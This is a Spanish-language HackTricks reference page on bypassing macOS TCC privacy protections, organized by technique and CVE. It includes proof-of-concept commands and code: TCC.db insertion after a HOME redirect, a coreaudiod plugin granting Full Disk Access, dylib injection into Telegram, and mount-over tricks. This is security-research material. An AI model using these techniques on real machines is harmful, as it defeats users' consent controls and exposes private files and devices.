# macOS TCC Bypasses
Aprende hacking en AWS desde cero hasta experto con htARTE (Experto en Red Team de AWS de HackTricks)! Otras formas de apoyar a HackTricks: * Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
## Por funcionalidad ### Salto de Escritura Esto no es un salto, es simplemente cómo funciona TCC: **No protege de la escritura**. Si Terminal **no tiene acceso para leer el Escritorio de un usuario, aún puede escribir en él**: ```shell-session username@hostname ~ % ls Desktop ls: Desktop: Operation not permitted username@hostname ~ % echo asd > Desktop/lalala username@hostname ~ % ls Desktop ls: Desktop: Operation not permitted username@hostname ~ % cat Desktop/lalala asd ``` El **atributo extendido `com.apple.macl`** se añade al nuevo **archivo** para dar acceso a la **aplicación creadora** a leerlo. ### TCC ClickJacking Es posible **colocar una ventana sobre el prompt de TCC** para que el usuario lo **acepte** sin darse cuenta. Puedes encontrar un PoC en [**TCC-ClickJacking**](https://github.com/breakpointHQ/TCC-ClickJacking)**.**

https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg

### Solicitud de TCC por nombre arbitrario El atacante puede **crear aplicaciones con cualquier nombre** (por ejemplo, Finder, Google Chrome...) en el **`Info.plist`** y hacer que solicite acceso a alguna ubicación protegida por TCC. El usuario pensará que la aplicación legítima es la que solicita este acceso.\ Además, es posible **quitar la aplicación legítima del Dock y poner la falsa en su lugar**, de modo que cuando el usuario haga clic en la falsa (que puede usar el mismo icono) podría llamar a la legítima, solicitar permisos de TCC y ejecutar un malware, haciendo creer al usuario que la aplicación legítima solicitó el acceso.
Más información y PoC en: {% content-ref url="../../../macos-privilege-escalation.md" %} [macos-privilege-escalation.md](../../../macos-privilege-escalation.md) {% endcontent-ref %} ### Bypass de SSH Por defecto, un acceso a través de **SSH solía tener "Acceso completo al disco"**. Para deshabilitar esto, es necesario tenerlo listado pero desactivado (eliminarlo de la lista no eliminará esos privilegios): ![](<../../../../../.gitbook/assets/image (569).png>) Aquí puedes encontrar ejemplos de cómo algunos **malwares han logrado evadir esta protección**: * [https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/](https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/) {% hint style="danger" %} Ten en cuenta que ahora, para poder habilitar SSH necesitas **Acceso completo al disco** {% endhint %} ### Manejar extensiones - CVE-2022-26767 El atributo **`com.apple.macl`** se otorga a los archivos para dar a una **aplicación específica permisos para leerlo**. Este atributo se establece cuando se **arrastra y suelta** un archivo sobre una aplicación, o cuando un usuario **hace doble clic** en un archivo para abrirlo con la **aplicación predeterminada**. Por lo tanto, un usuario podría **registrar una aplicación maliciosa** para manejar todas las extensiones y llamar a Launch Services para **abrir** cualquier archivo (por lo que el archivo malicioso obtendrá acceso para leerlo). ### iCloud Con el permiso **`com.apple.private.icloud-account-access`** es posible comunicarse con el servicio XPC **`com.apple.iCloudHelper`** que **proporcionará tokens de iCloud**. **iMovie** y **Garageband** tenían este permiso y otros que lo permitían. Para obtener más **información** sobre la explotación para **obtener tokens de iCloud** de ese permiso, consulta la charla: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=\_6e2LhmxVc0) ### kTCCServiceAppleEvents / Automatización Una aplicación con el permiso **`kTCCServiceAppleEvents`** podrá **controlar otras aplicaciones**. Esto significa que podría **abusar de los permisos concedidos a las otras aplicaciones**. Para obtener más información sobre Apple Scripts, consulta: {% content-ref url="macos-apple-scripts.md" %} [macos-apple-scripts.md](macos-apple-scripts.md) {% endcontent-ref %} Por ejemplo, si una aplicación tiene **permiso de Automatización sobre `iTerm`**, por ejemplo en este caso **`Terminal`** tiene acceso sobre iTerm:
#### Sobre iTerm Terminal, que no tiene Acceso completo al disco, puede llamar a iTerm, que sí lo tiene, y usarlo para realizar acciones: {% code title="iterm.script" %} ```applescript tell application "iTerm" activate tell current window create tab with default profile end tell tell current session of current window write text "cp ~/Desktop/private.txt /tmp" end tell end tell ``` {% endcode %} ```bash osascript iterm.script ``` #### Sobre Finder O si una aplicación tiene acceso sobre Finder, podría ejecutar un script como este: ```applescript set a_user to do shell script "logname" tell application "Finder" set desc to path to home folder set copyFile to duplicate (item "private.txt" of folder "Desktop" of folder a_user of item "Users" of disk of home) to folder desc with replacing set t to paragraphs of (do shell script "cat " & POSIX path of (copyFile as alias)) as text end tell do shell script "rm " & POSIX path of (copyFile as alias) ``` ## Por Comportamiento de la Aplicación ### CVE-2020–9934 - TCC El demonio **tccd** de espacio de usuario está utilizando la variable de entorno **`HOME`** para acceder a la base de datos de usuarios de TCC desde: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** Según [esta publicación en Stack Exchange](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) y debido a que el demonio TCC se está ejecutando a través de `launchd` dentro del dominio del usuario actual, es posible **controlar todas las variables de entorno** que se le pasan.\ Por lo tanto, un **atacante podría establecer la variable de entorno `$HOME`** en **`launchctl`** para que apunte a un **directorio controlado**, **reiniciar** el **demonio TCC**, y luego **modificar directamente la base de datos de TCC** para otorgarse a sí mismo **todos los permisos de TCC disponibles** sin nunca solicitar permiso al usuario final.\ PoC: ```bash # reset database just in case (no cheating!) $> tccutil reset All # mimic TCC's directory structure from ~/Library $> mkdir -p "/tmp/tccbypass/Library/Application Support/com.apple.TCC" # cd into the new directory $> cd "/tmp/tccbypass/Library/Application Support/com.apple.TCC/" # set launchd $HOME to this temporary directory $> launchctl setenv HOME /tmp/tccbypass # restart the TCC daemon $> launchctl stop com.apple.tccd && launchctl start com.apple.tccd # print out contents of TCC database and then give Terminal access to Documents $> sqlite3 TCC.db .dump $> sqlite3 TCC.db "INSERT INTO access VALUES('kTCCServiceSystemPolicyDocumentsFolder', 'com.apple.Terminal', 0, 1, 1, X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003', NULL, NULL, 'UNUSED', NULL, NULL, 1333333333333337);" # list Documents directory without prompting the end user $> ls ~/Documents ``` ### CVE-2021-30761 - Notas Las notas tenían acceso a ubicaciones protegidas por TCC, pero cuando se crea una nota, esta se **crea en una ubicación no protegida**. Por lo tanto, se podía pedir a las notas que copiaran un archivo protegido en una nota (en una ubicación no protegida) y luego acceder al archivo:
### CVE-2021-30782 - Translocación El binario `/usr/libexec/lsd` con la biblioteca `libsecurity_translocate` tenía el permiso `com.apple.private.nullfs_allow`, lo que le permitía crear un montaje **nullfs** y tenía el permiso `com.apple.private.tcc.allow` con **`kTCCServiceSystemPolicyAllFiles`** para acceder a todos los archivos. Era posible agregar el atributo de cuarentena a "Library", llamar al servicio XPC **`com.apple.security.translocation`** y luego mapearía Library a **`$TMPDIR/AppTranslocation/d/d/Library`** donde todos los documentos dentro de Library podían ser **accedidos**. ### CVE-2023-38571 - Música y TV **`Música`** tiene una característica interesante: cuando está en ejecución, **importará** los archivos que se arrastren a **`~/Music/Music/Media.localized/Automatically Add to Music.localized`** a la "biblioteca multimedia" del usuario. Además, llama algo como: **`rename(a, b);`** donde `a` y `b` son: * `a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"` * `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3` Este comportamiento de **`rename(a, b);`** es vulnerable a una **Condición de Carrera**, ya que es posible colocar dentro de la carpeta `Automatically Add to Music.localized` un archivo falso de **TCC.db** y luego, cuando se crea la nueva carpeta (b) para copiar el archivo, eliminarlo y apuntarlo a **`~/Library/Application Support/com.apple.TCC`**/. ### SQLITE\_SQLLOG\_DIR - CVE-2023-32422 Si **`SQLITE_SQLLOG_DIR="ruta/carpeta"`** básicamente significa que **cualquier base de datos abierta se copia en esa ruta**. En este CVE, este control se abusó para **escribir** dentro de una **base de datos SQLite** que va a ser **abierta por un proceso con FDA la base de datos TCC**, y luego abusar de **`SQLITE_SQLLOG_DIR`** con un **enlace simbólico en el nombre de archivo** para que cuando se **abra** esa base de datos, la base de datos de usuario **TCC.db sea sobrescrita** con la abierta.\ **Más información** [**en el informe**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **y** [**en la charla**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y\&t=20548s). ### **SQLITE\_AUTO\_TRACE** Si la variable de entorno **`SQLITE_AUTO_TRACE`** está configurada, la biblioteca **`libsqlite3.dylib`** comenzará a **registrar** todas las consultas SQL. Muchas aplicaciones usaban esta biblioteca, por lo que era posible registrar todas sus consultas SQLite. Varias aplicaciones de Apple usaban esta biblioteca para acceder a información protegida por TCC. ```bash # Set this env variable everywhere launchctl setenv SQLITE_AUTO_TRACE 1 ``` ### MTL\_DUMP\_PIPELINES\_TO\_JSON\_FILE - CVE-2023-32407 Este **variable de entorno es utilizado por el marco `Metal`** que es una dependencia de varios programas, especialmente `Music`, que tiene FDA. Al establecer lo siguiente: `MTL_DUMP_PIPELINES_TO_JSON_FILE="ruta/nombre"`. Si `ruta` es un directorio válido, el error se activará y podemos usar `fs_usage` para ver lo que está sucediendo en el programa: * se `abrirá()` un archivo llamado `ruta/.dat.nosyncXXXX.XXXXXX` (X es aleatorio) * uno o más `write()`s escribirán el contenido en el archivo (no controlamos esto) * `ruta/.dat.nosyncXXXX.XXXXXX` se `renombrará()` a `ruta/nombre` Es una escritura de archivo temporal, seguida de un **`renombrar(viejo, nuevo)`** **que no es seguro.** No es seguro porque tiene que **resolver las rutas viejas y nuevas por separado**, lo que puede llevar tiempo y ser vulnerable a una Condición de Carrera. Para obtener más información, puedes consultar la función `xnu` `renameat_internal()`. {% hint style="danger" %} Entonces, básicamente, si un proceso privilegiado está renombrando desde una carpeta que controlas, podrías obtener un RCE y hacer que acceda a un archivo diferente o, como en este CVE, abrir el archivo creado por la aplicación privilegiada y almacenar un FD. Si el renombrado accede a una carpeta que controlas, mientras has modificado el archivo fuente o tienes un FD a él, cambias el archivo (o carpeta) de destino para que apunte a un enlace simbólico, así puedes escribir cuando quieras. {% endhint %} Esta fue la técnica en el CVE: Por ejemplo, para sobrescribir la `TCC.db` del usuario, podemos: * crear `/Users/hacker/nuestroenlace` para que apunte a `/Users/hacker/Library/Application Support/com.apple.TCC/` * crear el directorio `/Users/hacker/tmp/` * establecer `MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db` * activar el error ejecutando `Music` con esta variable de entorno * capturar la `open()` de `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX` (X es aleatorio) * aquí también `abrir()` este archivo para escribir, y mantener el descriptor de archivo * cambiar `/Users/hacker/tmp` por `/Users/hacker/nuestroenlace` **atómicamente en un bucle** * hacemos esto para maximizar nuestras posibilidades de éxito ya que la ventana de carrera es bastante estrecha, pero perder la carrera tiene un impacto insignificante * esperar un poco * probar si tuvimos suerte * si no, ejecutar nuevamente desde el principio Más información en [https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html](https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html) {% hint style="danger" %} Ahora, si intentas usar la variable de entorno `MTL_DUMP_PIPELINES_TO_JSON_FILE`, las aplicaciones no se iniciarán {% endhint %} ### Apple Remote Desktop Como root podrías habilitar este servicio y el **agente de ARD tendrá acceso completo al disco** que luego podría ser abusado por un usuario para hacer que copie una nueva **base de datos de usuario de TCC**. ## Por **NFSHomeDirectory** TCC utiliza una base de datos en la carpeta HOME del usuario para controlar el acceso a recursos específicos del usuario en **$HOME/Library/Application Support/com.apple.TCC/TCC.db**.\ Por lo tanto, si el usuario logra reiniciar TCC con una variable de entorno $HOME que apunte a una **carpeta diferente**, el usuario podría crear una nueva base de datos de TCC en **/Library/Application Support/com.apple.TCC/TCC.db** y engañar a TCC para otorgar cualquier permiso de TCC a cualquier aplicación. {% hint style="success" %} Ten en cuenta que Apple utiliza la configuración almacenada dentro del perfil del usuario en el atributo **`NFSHomeDirectory`** para el **valor de `$HOME`**, por lo que si comprometes una aplicación con permisos para modificar este valor (**`kTCCServiceSystemPolicySysAdminFiles`**), puedes **armar** esta opción con un bypass de TCC. {% endhint %} ### [CVE-2020–9934 - TCC](./#c19b) ### [CVE-2020-27937 - Directory Utility](./#cve-2020-27937-directory-utility-1) ### CVE-2021-30970 - Powerdir El **primer POC** utiliza [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/) y [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/) para modificar la carpeta **HOME** del usuario. 1. Obtener un blob _csreq_ para la aplicación objetivo. 2. Colocar un archivo _TCC.db_ falso con el acceso requerido y el blob _csreq_. 3. Exportar la entrada de Servicios de Directorio del usuario con [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/). 4. Modificar la entrada de Servicios de Directorio para cambiar el directorio HOME del usuario. 5. Importar la entrada de Servicios de Directorio modificada con [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/). 6. Detener el _tccd_ del usuario y reiniciar el proceso. El segundo POC utilizó **`/usr/libexec/configd`** que tenía `com.apple.private.tcc.allow` con el valor `kTCCServiceSystemPolicySysAdminFiles`.\ Era posible ejecutar **`configd`** con la opción **`-t`**, un atacante podría especificar un **Paquete personalizado para cargar**. Por lo tanto, el exploit **reemplaza** el método **`dsexport`** y **`dsimport`** de cambiar el directorio HOME del usuario con una **inyección de código de `configd`**. Para obtener más información, consulta el [**informe original**](https://www.microsoft.com/en-us/security/blog/2022/01/10/new-macos-vulnerability-powerdir-could-lead-to-unauthorized-user-data-access/). ## Por inyección de proceso Existen diferentes técnicas para inyectar código dentro de un proceso y abusar de sus privilegios de TCC: {% content-ref url="../../../macos-proces-abuse/" %} [macos-proces-abuse](../../../macos-proces-abuse/) {% endcontent-ref %} Además, la inyección de proceso más común para evadir TCC encontrada es a través de **plugins (cargar biblioteca)**.\ Los plugins son código adicional generalmente en forma de bibliotecas o plist, que serán **cargados por la aplicación principal** y se ejecutarán bajo su contexto. Por lo tanto, si la aplicación principal tenía acceso a archivos restringidos por TCC (a través de permisos concedidos o entitlements), el **código personalizado también lo tendrá**. ### CVE-2020-27937 - Directory Utility La aplicación `/System/Library/CoreServices/Applications/Directory Utility.app` tenía el entitlement **`kTCCServiceSystemPolicySysAdminFiles`**, cargaba plugins con extensión **`.daplug`** y **no tenía el entorno de ejecución reforzado**. Para aprovechar este CVE, se **cambiaba** el **`NFSHomeDirectory`** (abusando del entitlement anterior) para poder **apoderarse de la base de datos de TCC de los usuarios** y evadir TCC. Para obtener más información, consulta el [**informe original**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/). ### CVE-2020-29621 - Coreaudiod El binario **`/usr/sbin/coreaudiod`** tenía los permisos `com.apple.security.cs.disable-library-validation` y `com.apple.private.tcc.manager`. El primero **permitía la inyección de código** y el segundo le daba acceso para **administrar TCC**. Este binario permitía cargar **complementos de terceros** desde la carpeta `/Library/Audio/Plug-Ins/HAL`. Por lo tanto, era posible **cargar un complemento y abusar de los permisos de TCC** con este PoC: ```objectivec #import #import extern void TCCAccessSetForBundleIdAndCodeRequirement(CFStringRef TCCAccessCheckType, CFStringRef bundleID, CFDataRef requirement, CFBooleanRef giveAccess); void add_tcc_entry() { CFStringRef TCCAccessCheckType = CFSTR("kTCCServiceSystemPolicyAllFiles"); CFStringRef bundleID = CFSTR("com.apple.Terminal"); CFStringRef pureReq = CFSTR("identifier \"com.apple.Terminal\" and anchor apple"); SecRequirementRef requirement = NULL; SecRequirementCreateWithString(pureReq, kSecCSDefaultFlags, &requirement); CFDataRef requirementData = NULL; SecRequirementCopyData(requirement, kSecCSDefaultFlags, &requirementData); TCCAccessSetForBundleIdAndCodeRequirement(TCCAccessCheckType, bundleID, requirementData, kCFBooleanTrue); } __attribute__((constructor)) static void constructor(int argc, const char **argv) { add_tcc_entry(); NSLog(@"[+] Exploitation finished..."); exit(0); ``` Para obtener más información, consulta el [**informe original**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/). ### Complementos de la Capa de Abstracción de Dispositivos (DAL) Las aplicaciones del sistema que abren el flujo de la cámara a través de Core Media I/O (aplicaciones con **`kTCCServiceCamera`**) cargan **en el proceso estos complementos** ubicados en `/Library/CoreMediaIO/Plug-Ins/DAL` (no restringidos por SIP). Simplemente almacenar allí una biblioteca con el **constructor** común funcionará para **inyectar código**. Varias aplicaciones de Apple eran vulnerables a esto. ### Firefox La aplicación de Firefox tenía los permisos `com.apple.security.cs.disable-library-validation` y `com.apple.security.cs.allow-dyld-environment-variables`: ```xml codesign -d --entitlements :- /Applications/Firefox.app Executable=/Applications/Firefox.app/Contents/MacOS/firefox com.apple.security.cs.allow-unsigned-executable-memory com.apple.security.cs.disable-library-validation com.apple.security.cs.allow-dyld-environment-variables com.apple.security.device.audio-input com.apple.security.device.camera com.apple.security.personal-information.location com.apple.security.smartcard ``` Para obtener más información sobre cómo explotar fácilmente esto, [**consulte el informe original**](https://wojciechregula.blog/post/how-to-rob-a-firefox/). ### CVE-2020-10006 El binario `/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` tenía los permisos **`com.apple.private.tcc.allow`** y **`com.apple.security.get-task-allow`**, lo que permitía inyectar código dentro del proceso y utilizar los privilegios de TCC. ### CVE-2023-26818 - Telegram Telegram tenía los permisos **`com.apple.security.cs.allow-dyld-environment-variables`** y **`com.apple.security.cs.disable-library-validation`**, por lo que era posible abusar de ellos para **obtener acceso a sus permisos**, como grabar con la cámara. Puede [**encontrar el payload en el informe**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/). Observe cómo se utiliza la variable de entorno para cargar una biblioteca, se creó un **plist personalizado** para inyectar esta biblioteca y se utilizó **`launchctl`** para lanzarla: ```xml Label com.telegram.launcher RunAtLoad EnvironmentVariables DYLD_INSERT_LIBRARIES /tmp/telegram.dylib ProgramArguments /Applications/Telegram.app/Contents/MacOS/Telegram StandardOutPath /tmp/telegram.log StandardErrorPath /tmp/telegram.log ``` ```bash launchctl load com.telegram.launcher.plist ``` ## Mediante invocaciones abiertas Es posible invocar **`open`** incluso estando en modo sandbox ### Scripts de Terminal Es bastante común otorgar **Acceso completo al disco (FDA)** al terminal, al menos en computadoras utilizadas por personas técnicas. Y es posible invocar scripts **`.terminal`** utilizando esto. Los scripts **`.terminal`** son archivos plist como este con el comando a ejecutar en la clave **`CommandString`**: ```xml CommandString cp ~/Desktop/private.txt /tmp/; ProfileCurrentVersion 2.0600000000000001 RunCommandAsShell name exploit type Window Settings ``` Una aplicación podría escribir un script de terminal en una ubicación como /tmp y ejecutarlo con un comando como: ```objectivec // Write plist in /tmp/tcc.terminal [...] NSTask *task = [[NSTask alloc] init]; NSString * exploit_location = @"/tmp/tcc.terminal"; task.launchPath = @"/usr/bin/open"; task.arguments = @[@"-a", @"/System/Applications/Utilities/Terminal.app", exploit_location]; task.standardOutput = pipe; [task launch]; ``` ## Mediante montaje ### CVE-2020-9771 - Bypass de TCC de mount\_apfs y escalada de privilegios **Cualquier usuario** (incluso los no privilegiados) pueden crear y montar una instantánea de Time Machine y **acceder a TODOS los archivos** de esa instantánea.\ El **único privilegio** necesario es que la aplicación utilizada (como `Terminal`) tenga acceso de **Acceso completo al disco** (FDA) (`kTCCServiceSystemPolicyAllfiles`), el cual debe ser otorgado por un administrador. {% code overflow="wrap" %} ```bash # Create snapshot tmutil localsnapshot # List snapshots tmutil listlocalsnapshots / Snapshots for disk /: com.apple.TimeMachine.2023-05-29-001751.local # Generate folder to mount it cd /tmp # I didn it from this folder mkdir /tmp/snap # Mount it, "noowners" will mount the folder so the current user can access everything /sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap # Access it ls /tmp/snap/Users/admin_user # This will work ``` {% endcode %} Una explicación más detallada se puede [**encontrar en el informe original**](https://theevilbit.github.io/posts/cve\_2020\_9771/)**.** ### CVE-2021-1784 & CVE-2021-30808 - Montar sobre el archivo TCC Incluso si el archivo de base de datos de TCC está protegido, era posible **montar sobre el directorio** un nuevo archivo TCC.db: ```bash # CVE-2021-1784 ## Mount over Library/Application\ Support/com.apple.TCC hdiutil attach -owners off -mountpoint Library/Application\ Support/com.apple.TCC test.dmg # CVE-2021-1784 ## Mount over ~/Library hdiutil attach -readonly -owners off -mountpoint ~/Library /tmp/tmp.dmg ``` ```python # This was the python function to create the dmg def create_dmg(): os.system("hdiutil create /tmp/tmp.dmg -size 2m -ov -volname \"tccbypass\" -fs APFS 1>/dev/null") os.system("mkdir /tmp/mnt") os.system("hdiutil attach -owners off -mountpoint /tmp/mnt /tmp/tmp.dmg 1>/dev/null") os.system("mkdir -p /tmp/mnt/Application\ Support/com.apple.TCC/") os.system("cp /tmp/TCC.db /tmp/mnt/Application\ Support/com.apple.TCC/TCC.db") os.system("hdiutil detach /tmp/mnt 1>/dev/null") ``` Verifica el **exploit completo** en el [**informe original**](https://theevilbit.github.io/posts/cve-2021-30808/). ### asr La herramienta **`/usr/sbin/asr`** permitía copiar todo el disco y montarlo en otro lugar eludiendo las protecciones de TCC. ### Servicios de ubicación Hay una tercera base de datos de TCC en **`/var/db/locationd/clients.plist`** para indicar los clientes permitidos para **acceder a los servicios de ubicación**.\ La carpeta **`/var/db/locationd/` no estaba protegida de montaje de DMG** por lo que era posible montar nuestro propio plist. ## Por aplicaciones de inicio {% content-ref url="../../../../macos-auto-start-locations.md" %} [macos-auto-start-locations.md](../../../../macos-auto-start-locations.md) {% endcontent-ref %} ## Por grep En varias ocasiones, los archivos almacenarán información sensible como correos electrónicos, números de teléfono, mensajes... en ubicaciones no protegidas (lo cual cuenta como una vulnerabilidad en Apple).
## Clicks sintéticos Esto ya no funciona, pero [**funcionaba en el pasado**](https://twitter.com/noarfromspace/status/639125916233416704/photo/1)**:**
Otra forma utilizando [**eventos CoreGraphics**](https://objectivebythesea.org/v2/talks/OBTS\_v2\_Wardle.pdf):
## Referencia * [**https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8**](https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8) * [**https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/**](https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/) * [**20+ Formas de Evadir los Mecanismos de Privacidad de tu macOS**](https://www.youtube.com/watch?v=W9GxnP8c8FU) * [**Victoria aplastante contra TCC - 20+ Nuevas Formas de Evadir los Mecanismos de Privacidad de tu MacOS**](https://www.youtube.com/watch?v=a9hsxPdRxsY)